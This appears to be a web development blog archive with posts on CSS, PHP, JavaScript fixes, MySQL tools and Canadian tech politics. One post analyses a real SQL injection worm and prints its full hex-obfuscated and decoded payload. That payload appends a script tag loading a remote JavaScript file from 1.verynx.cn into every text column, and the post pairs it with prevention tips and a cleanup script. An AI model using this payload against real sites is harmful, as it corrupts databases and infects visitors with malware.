background top

first-child, last-child for menus

Menus can be range from simple text to complicated visual effects.  When it comes to the most used and popular menus one of the most common things we do on our sites is add a separator character.

For example:

Home | Products | Contact Us | About Us

CSS seems like it should be the simplest solution. Add a border-left: 1px solid #000. However the first element of this menu should not have this border. CSS 2.1 has given us the first-child and last-child selectors. This would be the perfect solution other than the fact that Internet Explorer 6 does not support these selectors (CSS and browser content and compatibility). IE7 is incrementally better supporting just the first-child selector.

Until we finally can let go of IE6 support (perhaps when IE8 comes out?), we will need to find another solution. The easiest is to add the class “first” to the first element of the menu and “last” to the last element of the menu. This will allow us to target styles specifically for those menu items.

Now that we develop a number of our sites in Drupal, we have had to come up with a solution for it. If developing in Drupal 6 then the work is already done for you. Drupal 6 now includes first and last classes on all menus. Drupal 5 only includes the first and last classes on primary and secondary links and not for menus displayed in blocks.

Using theme overides you can customize your site to add first and last classes. Take a look at the following article on Have “first” and “last” classes on menu blocks.


Fixed cell widths in tables

TableWe recently ran into a situation where we needed multiple tables to appear as a single table.  To make sure each column lined up, we needed to set the width of each cell to a set pixel amount.

The first attempt added a width to the <td> as follows:

<td style="width: 150px">some content goes here</td>

However, by nature, table cells will always resize to accommodate the content that is placed in them. That is what they were designed to do. The cell will maintain its 150 pixel width as long as the content is smaller than the specified width.

The solution is to add a div inside each cell. It adds some extra markup, but will ensure that the cell will not resize beyond the specified width. Divs can be set to specific dimensions, and will stay as such even if the content will not fit inside.

So our table cell code now becomes:

<td><div style="width: 150px">some content goes here</div></td>

PHP Optimization

Every now and then, you run into a situation where you have a large amount of code executing to create a complex page.  This can lead to response times for web page requests that are not adequate for your client. Everyone should know by now that some basic coding standards and some simple caching can go a long way to prevent slow page load times. Sometimes, however, those simple steps are just not enough.  Be sure that pages only load the code they require to display information.  Also, be sure that you have set up some caching on your website (this also helps with heavy traffic loads).  Another thing to remember: to find out where any bottlenecks might be hiding, it is important to run some benchmarks on your code.  Sometimes a simple database call that might be executed multiple times on a page can be running very inefficiently and drastically affecting all of your load times.

One tool that can be useful is XDebug (which we previously talked about here). One thing not covered in our previous blog article is the ability to perform benchmark analysis on data captured with XDebug.  Using a tool called WinCacheGrind, you can analyze the cachegrind profile file output by XDebug. This will allow you to target and eliminate or reduce functions that negatively impact your website’s performance.  If you are hosting your site with Apache, another notable option is to set up Alternative PHP Cache (APC).  You will need to verify all your website’s functionality is working properly with APC enabled.  Our experience is that APC provides a great reduction in load times when configured properly.

Last but not least, be sure to think about performance when writing your code.  There is a great article with 40 optimization tips over at reinholdweber.com.  Click here to check out the optimization tips and feel free to comment with any other performance tools or tips you or your company have found useful.


Technology & You – Canadian Federal Election – Oct. 14th

With major concerns in the Information Technology industry around Digital Rights Management (DRM), the Canadian version of the Digital Millennium Copyright Act (DMCA) named “Bill C-61″ and other hot topic issues you need to know where your politician stands on these critical topics that could affect every man woman and child in Canada. Where does each party stand on open source software, DRM, Copyright Reform, Net Neutrality?

What are the current government’s views on these topics? Well, we can make assumptions based on the copyright bill “Bill C-61″ but unfortunately at this point we don’t have any promises or statements from the Conservative Party of Canada on any of these topics. We were shocked that most parties didn’t include any of these critical issues in their platforms. South of the border, in the current presidential election, each candidate has specifically noted their stance on many technology issues facing their IT industry.

After reviewing the New Democratic Party’s platform we found that none of these important topics are mentioned, however at the very least they’ve expressed their views on copyright reform in several news releases. Specifically we were able to find out that the Green Party of Canada and some NDP MP’s are in support of a copyright reform proposal by Michael Geist. Obviously these vital topics not registering on parties platform’s is far from ideal so we were again surprised to see that the Liberal Party of Canada had nothing on all of these topics along with the BLOC Québécois.

The only party that has addressed these issues in their official party platform is the Green Party of Canada. You can read more about their views here and here. We must applaud the Green Party for taking a stance on these important issues.  The Green Party has come out in support for open source software development, and open discussions on a variety of topics including internet privacy, copyright and DRM issues.  This is a step in the right direction but rather disappointing that no other parties are providing their views and stances on these important issues.

We need to demand more as professionals in the IT field and help our politicians make informed decisions on these critical issues by providing information, support and feedback.

Let’s work together and demand that all parties in Canada provide their stance on technology challenges moving forward within Canada and internationally.

Don’t forget to exercise your rights and Vote!

For more information on these topics we recommend Michael Giest’s blog. We would also recommend contacting your member of parliament and all political parties to bring these important issues to their attention. Click here to find your member of parliament.


Sorting 2-dimensional arrays in PHP (multi-dimensional array)

There have been numerous occasions where we have retrieved the result of an array and yet still needed to do some kind of sorting.  Up until now it seemed like there was no answer.  The answer was found with the function array_multisort.  The names of some PHP functions can be quite misleading but this one does what it says.

The trick to using this function is that it sorts based on columns.  The normal layout of a database table returned into an array is with each row of the table is a seperate element of an array.  The 2nd dimension of the array has the table row names as the keys with the value attached.

Database table turned into array

So there is our table represented in an array with each element as a separate row.  To sort we need an array for each column, in this case fruit and color.  We use the following code to accomplish this.

foreach ($query_result as $key =&gt; $row) {
    $fruit[$key]  = $row['fruit'];
    $color[$key] = $row['color'];
}

It seems quite unintuitive but essentially each column is a separate array with the row number being the key. Now we are able to plug this new data into the array_multisort function to sort our existing array (NOTE: the new column based arrays we created are specifically for the purpose of sorting)

array_multisort($color, SORT_DESC, $fruit, SORT_ASC, $query_result);

Basically you list the order of columns you want to search by. In this case we’re sorting by color descending first and then by fruit ascending. The last parameter is the multi-dimensional array that you want to sort.

Seems like a convoluted way of a simple sort. It’s always best to do all sorting and querying in the database but for the few situations that just isn’t possible, we have a solution using array_multisort in PHP.


LightWindow IE6 bug – image size (resizeTo)

LightWindow is an advanced “lightbox” JavaScript component that can be used for a wide range of media. We were simply trying to use it as an image gallery.  What we ran into is that every once in a while when clicking on a link to trigger the slideshow, LightWindow would fail to size the image properly in IE6.  This only seemed to happen in IE6 though reading through others experiences it seems like it may happen in IE7 as well although we never came across any problems with IE7.

When you run into a problem with someone elses tool it can be very difficult to solve the problem.  After an exhaustive search we were able to find the solution posted on a german blog at www.trilodge.de.  Although we don’t speak german it was obvious this was the solution to our problem.

Although this solution is already available from www.trilodge.de we know this will help any other developers who run into this issue as its hard to find the german solution being the blog is in another language.

The problem happens in the image loader.  It seems to think the image has loaded when it has not.  Therefore it is unable to get an accurate size.

To fix replace:

// We have to do this instead of .onload
this.checkImage[i] = new PeriodicalExecuter(function(i) {
	if (!(typeof $('lightwindow_image_'+i).naturalWidth != "undefined" &amp;&amp; $('lightwindow_image_'+i).naturalWidth == 0)) {
 
		this.checkImage[i].stop();
 
		var imageHeight = $('lightwindow_image_'+i).getHeight();
		if (imageHeight &gt; this.resizeTo.height) {
			this.resizeTo.height = imageHeight;
		}
		this.resizeTo.width += $('lightwindow_image_'+i).getWidth();
		this.imageCount--;
 
		$('lightwindow_image_'+i).setStyle({
			height: '100%', width: '100%'
		});
 
		if (this.imageCount == 0) {
			this._processWindow();
		}
	}
 
}.bind(this, i), 1);

With this:

// We have to do this instead of .onload
var ie = (document.all)?1:0;
this.checkImage[i] = new PeriodicalExecuter(function(i) {
	if(ie){ //THE BROWSER IS IE
		if ( $('lightwindow_image_'+i).complete &amp;&amp; !(typeof $('lightwindow_image_'+i).naturalWidth != "undefined" &amp;&amp; $('lightwindow_image_'+i).naturalWidth == 0)) {
			this.checkImage[i].stop();
 
			var imageHeight = $('lightwindow_image_'+i).getHeight();
			if (imageHeight &gt; this.resizeTo.height) {
				this.resizeTo.height = imageHeight;
			}
			this.resizeTo.width += $('lightwindow_image_'+i).getWidth();
			this.imageCount--;
 
			$('lightwindow_image_'+i).setStyle({
				height: '100%', width: '100%'
			});
 
			if (this.imageCount == 0) {
				this._processWindow();
			}
			//alert('IE has been detected')
		}
	}
	else
	{//NOT IE, PROBABLY FF, OPERA, OTHER
		//this line works for all other browsers
		if ($('lightwindow_image_'+i).complete &amp;&amp; !(typeof $('lightwindow_image_'+i).naturalWidth != "undefined" &amp;&amp; $('lightwindow_image_'+i).naturalWidth == 0)) {
 
			this.checkImage[i].stop();
 
			var imageHeight = $('lightwindow_image_'+i).getHeight();
			if (imageHeight &gt; this.resizeTo.height) {
				this.resizeTo.height = imageHeight;
			}
			this.resizeTo.width += $('lightwindow_image_'+i).getWidth();
			this.imageCount--;
 
			$('lightwindow_image_'+i).setStyle({
				height: '100%', width: '100%'
			});
 
			if (this.imageCount == 0) {
				this._processWindow();
			}
		}
	}
 
}.bind(this, i), 1);

If you have any other suggestions or ran into any other problems feel free to post them below and we would be happy to update the post to help others.


Debugging PHP with XDebug

Debugging web applications has always been a problem. How do you step through scripts, view variable information and create breakpoints when your application is running on a remote server?

Step in XDebug. In a nutshell XDebug runs on the server and allows you to control how your application runs from a client. XDebug calls this concept remote debugging. We use Eclipse for our PHP development however there are a number of other clients XDebug supports including Dev-PHP, NetBeans, Notepad++, PHPEdit and a number more. The client connects to the XDebug running on the development server to send control messages and receive server data.

The biggest feature in my mind is the ability to set breakpoints and see the values of any variable that has been initialized in your script. Eclipse provides a conveniant table display to show all variables. This includes PHP environment variables (_SERVER, _COOKIE, _ENV, _FILES, etc…), global and local variables.

xdebug1.gif


Generate Change Script for MySQL Modifications

After reading a blog post called “Generate Change Script for SQL Modifications” for MSSQL Management Studio, we wanted to show how to do this same task for MySQL using the MySQL Query Browser.

  1. Open the Query Browser and right click on the table you need to modify.
  2. Select Edit Table from the context menu. You will be presented with the MySQL Table Editor.  This gives you a graphical interface for modifying your table structure.
  3. Modify the table in whatever way you wish.MySQL Table Editor

    Some examples…
    - change field names, types, defaults
    - add indices, foreign keys
    - change the character sets and collation
    - change the auto increment value

  4. Click Apply Changes at the bottom of the window. You will be presented with a confirmation box.  CHANGES HAVE NOT BEEN EXECUTED YET.  What’s great is that it gives you the code that it will use to modify the table.MySQL Confirm Table Edit
  5. Use your cursor to select the code and then copy it into whatever text editor you prefer.

Now you have a sql script that can be executed on multiple servers, or further modified by hand.


SQL Injection Hack using CAST from 1.verynx.cn

Update

If the attack has changed to a different URL simply replace the URL in the solution script below. That is assuming the rest of the syntax has not changed.

Hope that helps


A new SQL injection hack seems to be out in the wild from verynx.cn. The SQL Injection hack uses a CHAR array to hide its payload which will insert some various html garbage along with a reference to a javascript file on the verynx.cn domain that will infect users when they visit your website. Luckily the domain with the offending javascript file now points to 127.0.0.1 which will help stop the spread of the virus. Unfortunately the botnet still seems to be spamming websites with the scripted attack leaving many entirely broken or loading extremely slow as each page might have hundreds of requests to the payload.

The attack below works like this:

You have a web page like www.mywebsite.com/showproducts.aspx?categoryId=12. An attacker visits your website with SQL code appended to the number 12 in the sample URL provided. A simple attack would look like www.mywebsite.com/showproducts.aspx?categoryId=12;SELECT * from tblProducts;. As you can see the attacker is guessing at the table name and hoping to get all of the information dumped back to them when you pass the categoryId to the database. Below you can see a much more complicated attack where they’ve used a CHAR array and then used the CAST command to have your SQL Server convert the array so it can be executed.

Sample of Attack:

;DECLARE
%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535
292C4043207661263686172283430303029204445434C415245205461626C655F437572736F7220
435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073797
36F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420
616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747
970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50
454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F4
37572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30
2920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432
B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D226874
74703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D2727207
76865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73637269
7074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A7323E3C2F7363726970
743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F722
0494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C
4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

Un-Obfuscated Attack:

;DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://1.verynx.cn/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Tips to prevent SQL Injection Hacks:

Do not trust user data. The easiest solution for resolving most issues with SQL Injections is to clean all incoming data. For any type of number or ID this is pretty easy as you can ensure any incoming number safely converts to a number (int for example) alternatively you can ensure other ID’s such as GUID’s convert safely to GUID’s before passing any information to your database.

Another simple fix – if you don’t need execute – ensure the user connecting to your database doesn’t have execute permissions.

Solution (Fixing your database after the attack):

Here we turn their code into the solution as we use the same process to loop through the entire database and remove what they’ve inserted into the database.

DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'],''"></title><script src="http://1.verynx.cn/w.js"></script><!--'','''')')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor

Additional Links:

All the details you need to understand SQL Injection: http://en.wikipedia.org

SQL Injection Cheat Sheet: http://ferruh.mavituna.com

SQL Injection Attack Detection Tools: http://52coding.com

Essential Security Considerations: http://nettuts.com

PHP+Mysql tips for preventing SQL injections: http://www.johnrockefeller.net

What to do if you’re still stuck:

Post your questions in the comments below and we will answer them as quickly as possible – also if anyone has any useful information we will update the article to share that information with others.


jQuery – What is it & How to get started

One of our favorite new tools in the last year would have to be jQuery – and we recently came across a great article that should help any developer unfamiliar with it get their hands and feet wet.

What is jQuery?
jQuery is an extremely robust library to help you code more efficiently and get more done with less work. (Honestly who would rather do more work when they can do less and achieve the same result) The key features of jQuery are its ability to utilize CSS Selectors, and chaining which essentially means when you call a function on an object jQuery always returns that object back to you. Oh and did we mention it also handles cross browser compatibility issues for you?

Check out this article from NETTUTS to get your feet wet and unleash the power of jQuery.